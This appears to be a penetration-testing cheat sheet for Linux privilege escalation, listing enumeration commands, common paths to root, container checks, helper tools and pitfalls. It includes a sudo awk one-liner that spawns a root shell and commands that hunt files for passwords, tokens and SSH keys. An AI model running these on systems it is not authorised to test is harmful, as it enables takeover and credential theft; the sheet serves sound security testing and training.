linux::privesc

pentest linux privilege escalation
Enumeration Paths to Root Helpers & Pitfalls
01Enumeration
Fast host enum
id
uname -a
cat /etc/os-release
sudo -l
find / -perm -4000 -type f 2>/dev/null
getcap -r / 2>/dev/null
ss -lntup
ps auxf
crontab -l
ls -al /etc/cron*
High-value findings
FindingWhy it matters
sudo ruleNOPASSWD or writable script target
SUID binaryGTFOBins or custom vuln
capabilitiescap_setuid, cap_sys_admin, cap_dac_override
cron / timerwritable script or writable PATH element
service credsenv vars, config files, backups
02Common Paths to Root
sudo / SUID / caps
# sudo
sudo -l
sudo awk 'BEGIN {system("/bin/sh")}'

# SUID
find / -perm -4000 -type f 2>/dev/null
# check GTFOBins for exact primitive

# capabilities
getcap -r / 2>/dev/null
PATH / cron / writable files
echo $PATH
find / -writable -type d 2>/dev/null
ls -al /etc/cron*
systemctl list-timers --all

# writable script executed by root?
grep -R '/tmp\|/dev/shm\|home' /etc/systemd /etc/cron* 2>/dev/null
Credentials / secrets
grep -Rni 'pass\|token\|secret\|key' /etc /opt /var/www 2>/dev/null | head
find / -name '*.bak' -o -name '*.old' -o -name '*.swp' 2>/dev/null
ls -al ~/.ssh /root/.ssh 2>/dev/null
env
Containers / weird contexts
cat /proc/1/cgroup
mount
ip a
docker ps 2>/dev/null

# if inside container, check mounted docker socket / host fs
03Useful Helpers & Pitfalls
Auto enum tools
linpeas.sh
lse.sh
pspy64

# still verify manually before exploiting
Pitfalls
MistakeNote
kernel exploit firstoften unnecessary and noisy
copying GTFOBins blindlyversion / shell path may differ
ignoring timerssystemd timers replace cron a lot
not checking group membershipsdocker, lxd, adm can be enough
forgetting capabilitiesless obvious than SUID